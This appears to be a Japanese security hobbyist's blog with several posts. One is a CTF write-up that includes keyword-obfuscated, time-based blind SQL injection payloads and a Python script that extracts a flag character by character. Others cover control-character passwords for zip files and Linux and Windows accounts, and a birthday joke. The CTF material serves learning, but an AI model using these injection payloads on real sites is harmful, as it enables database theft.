f:id:f_rin:20141014031703p:plain

pcapfixを使って復元する。

C:\Users\rintaro\Documents\security\tool\pcapfix-1.0.2-win32> .\pcapfix -n capsule_239acad5fcfe4722e624da66c9c02542.pcapng

中身を見るとAFPとかいうやつでやりとりされている。
"dsi"でフィルターし、Lengthでソート。

flagないかなーと思いながら、画像ファイルの復元をしていっている途中で、テキストのResponseの中に怪しい文字列を発見する。

f:id:f_rin:20141014032433p:plain

    _    ____ ___ ____     _____ _  ___   __       ___  _     _       ___      _     _ _  _    __        ___         ___      _           _  _  _____          _                 ___  _    ____   ___  
   / \  / ___|_ _/ ___|   |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \  __| | __| | || |  / _| __ _ / _ \  __ _ ( _ )  __| | ___ __ _| || ||___ /  ___  __| | __ _  ___ ___ ( _ )| |__|___ \ / _ \
  / _ \ \___ \| |\___ \     |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | |
 / ___ \ ___) | | ___) |   ___) | | (_) |  _|  __/ |_| | |_) | | (__| |_| | (_| | (_| |__   _|  _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__   _|__) |  __/ (_| | (_| | (_|  __/ (_) | |_) / __/| |_| |
/_/   \_\____/___|____/___|____/|_|\___/|_|  \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_|  |_| |_|  \__,_|\___/ \__,_|\___/ \__,_|\___\__,_|  |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/
                     |_____|                                                                                                                                                                          

ということで答え。

ASIS_318fe0b1c0dd4fa0a8dca43edace8b20

Voting

これもWeb問題。
アクセスすると、OSの種類を聞かれる。

f:id:f_rin:20141014031720p:plain

普通に回答すると、投票結果が表示される。
Cookieなどは使っておらず、純粋に値をPOSTするだけのアプリケーションの模様。

f:id:f_rin:20141014031726p:plain

POSTする値を改竄し、"win" のところを "win'" としてみると、SQL Syntaxエラーとなる。
特にSQL結果を表示する箇所もないため、Blind SQLi であることがわかる。

f:id:f_rin:20141014031732p:plain

予約語は1度エスケープされる仕様らしく、次のように送るとSQLが成功する。

win' AANDND 'a' = 'a

さらに、Blind SQLi の判定に何か使えないか探していたら、徳丸さんのブログが引っかかる。さすが徳丸さん。

ブラインドSQLインジェクションのスクリプトをPHPで書いたよ #phpadvent2012

sleep関数で判定できそうなので、これでSQL成否の判定をすることにする。
1=1の部分を判定したいSQLに置換して確認する。

win' AANDND (SESELECTLECT if(1=1,sleep(5),nunullll)) AANDND 'a' = 'a 

あとは肝心なテーブル内容読み出しだ。
MySQL なので、information_schemaにアクセスしようとしても、どうしてもうまくいかない。。。
と思ったら、"information_schema" の文字列の "or" がエスケープされているようだ。
(これ発見するまでに時間すごいかけた)
さらに普通のSELECTだとロックされていると怒られるので、最終的には次のような構文とした。

win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM infoorrmation_schema.columns WHWHEREERE TABLE_NAME LIKE '%FLAG%' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a

これでテーブル名がひっかかった。
"%FLAG%" のところを "%FLAG" → "____FLAG" とかに絞っていく。
このやり方でテーブル名、カラム名、テーブルスキーマ名を特定していく。これは手動では面倒なのでスクリプトでやっていった。
すると、それぞれ

であることがわかる。
最終的には、flagは以下のLIKE文でひっかかる。

win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE 'ASIS_________________________________' LOCK IN SHARE MODE) > 0,sleep(5),nunullll)) AANDND 'a' = 'a

ここまでわかれば、あとはスクリプトを回すだけ。
整形してないけど載せておく。

#!/usr/bin/env python
import urllib,urllib2
import time

url = 'http://asis-ctf.ir:12441/index.php'
flg = ["A","S","I","S","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_","_"]
characters=list('abcdefABCDEF1234567890')
i=5
j=0

while True:
	s = characters[j]
	flg[i] = s
	os = "win' AANDND (SESELECTLECT if((SESELECTLECT count(*) FFROMROM poll.tbl_flag WHWHEREERE FLAG LIKE '"+"".join(flg)+"' LOCK IN SHARE MODE) > 0,sleep(10),nunullll)) AANDND 'a' = 'a"
	params = {'os' : os,
				'submit' : 'Submit' }

	params = urllib.urlencode(params)
	req = urllib2.Request(url)

	# add header
	req.add_header('Content-Type', 'application/x-www-form-urlencoded')
	req.add_header('Referer', 'http://asis-ctf.ir:12441/index.php')

	# add parameter
	req.add_data(params)

	try:
		start = time.time()
		res = urllib2.urlopen(req)
		body = res.read()
		elasped = time.time() - start
		j+=1
		if int(elasped) >= 10:
			i+=1
			j=0
			print "".join(flg)
		elif s == '0':
			flg[i] = '_'
			i+=1
			j=0
			print "".join(flg)
	except urllib2.HTTPError, e:
		print e.reason
		print e.code
		print e.read()
		break

	if 37 == i: break
[rintaro@rintaro_PC] $ python post_search_info.py
ASIS_1_______________________________
ASIS_1d______________________________
ASIS_1dc_____________________________
ASIS_1dc3____________________________
ASIS_1dc33___________________________
ASIS_1dc337__________________________
ASIS_1dc337d_________________________
ASIS_1dc337d6________________________
ASIS_1dc337d61_______________________
ASIS_1dc337d61d______________________
ASIS_1dc337d61da_____________________
ASIS_1dc337d61dac____________________
ASIS_1dc337d61dac5___________________
ASIS_1dc337d61dac5c__________________
ASIS_1dc337d61dac5cb_________________
ASIS_1dc337d61dac5cb9________________
ASIS_1dc337d61dac5cb91_______________
ASIS_1dc337d61dac5cb910______________
ASIS_1dc337d61dac5cb910e_____________
ASIS_1dc337d61dac5cb910eb____________
ASIS_1dc337d61dac5cb910eb5___________
ASIS_1dc337d61dac5cb910eb5b__________
ASIS_1dc337d61dac5cb910eb5b8_________
ASIS_1dc337d61dac5cb910eb5b8c________
ASIS_1dc337d61dac5cb910eb5b8c1_______
ASIS_1dc337d61dac5cb910eb5b8c17______
ASIS_1dc337d61dac5cb910eb5b8c17c_____
ASIS_1dc337d61dac5cb910eb5b8c17c5____
ASIS_1dc337d61dac5cb910eb5b8c17c52___
ASIS_1dc337d61dac5cb910eb5b8c17c52f__
ASIS_1dc337d61dac5cb910eb5b8c17c52fe_
ASIS_1dc337d61dac5cb910eb5b8c17c52fef
[rintaro@rintaro_PC] $ 

Blind SQLi の問題に初めて遭遇したけど楽しかった。
ハマったところは以下。

  • エスケープ処理が予期しないところに入っていた
  • FROM句の後には "スキーマ名"."テーブル名"の指定が必要(これも気づかなくてTBL_FLAGの読み出しに時間かかった…)


他にも取り組んでいたけど、メインでやっていたわけではないので割愛。
アセンブラがことごとく x86-64 で、このままじゃヤバイと危機感を感じた。
GDBだけで見るのも時間かかるしなぁ。

CTFを始めて1年ぐらい経ってしまったし、他のアーキテクチャにも慣れはじめようと思う大会だった。

Lhaplusのパスワード探索は非効率?

Lhaplusには、zipパスワードを総当りで解析する機能がある。
画面を下図に載せるが、見ててふと思うことがある。
f:id:f_rin:20141006235613p:plain

探索範囲 [すべて] の箇所で、パターンが0..255と書いてあり、明らかに英数記号の範囲を超過してる。
ここまで本当に必要?
ということ。明らかに 0x00 ~ 0xff まで見てる気がする…

ということで、パスワード設定はどこまでできるのか、気になったので色々やってみた。

もともと上記の疑問については無意味ではないということは知っていた。
たとえば、Windowsではキーボードからでも制御文字を入れることができる。

Windowsで[Ctrl + backspace] を入力してみると、パスワードに "\x7f" に相当する[DEL]文字を入れることができる。以下はLhaplusの圧縮時に入力してみたもの。
f:id:f_rin:20141007000343p:plain

OSのログインパスワードにも設定でき、これだけでパスワード強度が上がり有用である。
# そりゃ種別が増えるわけなので

Linuxではどうだろう。
Windowsで制御文字を使った暗号化ファイルは、Linuxではキーボードだと復号化できなかった。

手動では仕方ないのでスクリプトを組んでみた。

[root@kali] # python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("unzip -P \x7f test.zip")
Archive:  test.zip
  inflating: test.txt                
0
>>> 

スクリプト経由では復号することができた。
ということは、圧縮ファイルならどんな制御文字を入れ込んでもzip化もできるんじゃないか?

zipの暗号化パスワードに制御文字をいれる

>>> os.system("zip -P \x01\x02\x03\x04 test.zip test.txt")
  adding: test.txt (deflated 59%)
0
>>> 

できてしまった。
厳密には、null byte "\x00" はダメだったが、それ以外ならパスワードに設定できるようだった。
これで、どうやってもキーボードからは突破できないzipファイルが作成できた。

ではこれをLhaplusのパスワード解析にかけてみると…
f:id:f_rin:20141007002019p:plain

ちゃんと予想どおり解析できた。
(探索桁が3なのは、表示文字がインクリメントされる前に処理が終了されたから。数えてみると4文字分解析されてる)
ということで、英数記号以外も設定可能なzipに関しては、Lhaplusのパスワード探索はぜんぜん非効率なんかではなかった。
むしろこういうやつらにも対応「は」できるすごいヤツだったのだ。(な、なんだってー!!)
といっても制御文字は解析済みの画面上に表示できないから具体的な文字列までは結局完全にはわからないわけだけど。
(あらかじめ文字の形とのマッピング表を作っておけば、ある程度はわかりそう)

では、あくまで総当り前提として、こういうファイルに出くわしたときの解析には有用なツールが何がいいだろうか?

…というのはそのうち試すことにして、今回は、OSのパスワードにも同様に制御文字を設定できるのかを試してみた。

Linux のパスワード設定・ログイン

試験的に、新しくユーザ "account00" を作成し、アカウントパスワードに [DEL] を入れられるか試す。

[root@kali] # useradd account00
[root@kali] # python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("echo account00:\x7f | /usr/sbin/chpasswd")
0
>>> 

できちゃったw
違うユーザからログインしようとしても、

$ su - account00
パスワード:
su: 認証失敗
$ 

どう頑張ってもできない。
なんというせきゅあ()なパスワード。
自身のマシンにも自アカウントでログインできないこのザマである。

ちなみにWindowsからsshでパスワード欄に Ctrl+backspace を入力すると、ちゃんとログインできた。
f:id:f_rin:20141007002830p:plain

ただし sshd などが上がりっぱなしな状況を作れないと死にますが。
もちろん、こんな感じでキーボードからは完全にログインできなくすることも可能。

>>> import os
>>> os.system("echo account00:\x01\x02\x03\x04 | /usr/sbin/chpasswd")
0
>>> 

では、スクリプトでOSにもログインできるかな。
今回は[こちら]のものを参考にさせていただき、Paramikoを使ったログインをしてみた。

import ssh

print "SSH START"

ipadr = "192.168.11.7"
usernm = "account00"
passwd = "\x01\x02\x03\x04"

s = ssh.Connection(ipadr,
                   username=usernm,
                   password=passwd)

command = "uname -a;id"
cmd_result = s.execute(command)

s.close()

for rlt in cmd_result:
    print rlt

これを実行すると、

[root@kali2] # python sshcon.py
SSH START
Linux kali 3.12-kali1-686-pae #1 SMP Debian 3.12.6-2kali1 (2014-01-06) i686 GNU/Linux

uid=1001(account00) gid=1002(account00) groups=1002(account00)

問題なく入れた。

Windows のパスワード設定・ログイン

Windowsも、スクリプト経由で ssh さえ立てれれば同様のことができるのではないか?ということでこちらも。
まずはユーザ "account01" を作成した後、SSHサーバを立てる。
SSHサーバ構築はCygwinを使って、[ここ]を参考にさせていただいた。

では、パスワードを変える。

Set objUser = GetObject("WinNT://localhost/account01")
objUser.SetPassword(chr(&H01)&chr(&H02)&chr(&H03)&chr(&H04))

VBSでパスワード変更のスクリプトを書いて、管理者として実行。
f:id:f_rin:20141007003359p:plain
f:id:f_rin:20141007010320p:plain

ちゃんと変更できて、OSログインもできなくなった。

今度はLinuxと同様に、スクリプトで account01 に対してSSHで接続。
cygwin を使い、 Paramiko を入れて他ユーザからログインする。

import ssh

print "SSH START"

ipadr = "192.168.11.2"
usernm = "account01"
passwd = "\x01\x02\x03\x04"

s = ssh.Connection(ipadr,
                   username=usernm,
                   password=passwd)

command = 'whoami; echo "logged in!!"'
cmd_result = s.execute(command)

s.close()

for rlt in cmd_result:
    print rlt

実行すると、

[rintaro@rintaro_PC] $ python sshcon.py
SSH START
account01

logged in!!

Windowsでもキッチリできた。
以上で、パスワードを強固にするには制御文字も有効であることがわかった。
SSHが常時上がり続ける保証でもない限り、強制パスワードリセットが必要になりそうだけど。

root とか Administrator のアカウントでもしやった人がいたら、どういう心境なのかぜひ聞いてみたい。

ということで、まとめ。

  • 圧縮やログイン用のパスワードは、文字が長いほど、そして複雑であるほど強度は上がるが、その文字種には「ヌルバイト以外の任意の制御文字も利用可能である」(ただし認証にも一苦労なので、どこまでやるかという話ではある)
  • そして、Lhaplusのzipパスワード解析はそれを破るためには無駄ではない
  • またOSのパスワードにも制御文字を設定できる。ただしシェル経由でログインできる環境でないとログインできなくなるので要注意


いつか、会社で重要資料とか送るときに一度はやってみたいよね。

「解凍パスワードは、SOH STX ETX EOT ENQ の5文字でお願いします。」

なんて。

ソーシャルハック?のパロディを作ってみた

一緒にSECCON2014オンライン予選に出ていたチームメイトの誕生日にプレゼントを渡してきた。

用意したのは、

  • 詰め将棋の本
  • LINEのプリペイドカード
  • ソーシャルハック?を擬似ったメッセージ(下のやつ)

f:id:f_rin:20140811001117p:plain

あとはネタじゃないプレゼントも一緒に封筒に入れてポストに投下。
その後尻尾を巻いて逃げ帰りました。

写メは送ってくれないかなーと思ってたけど、ピースつきでちゃんと送ってもらえた。
しかも3枚。

3枚もくれたならば仕方がない。すかさずFlagを送信。
見事、人権確保!!!

FLAG{Y0urB1rthd4y1sT0m0rr0w}


無事翌日誕生日を迎えたようです。
良い1年になりますように。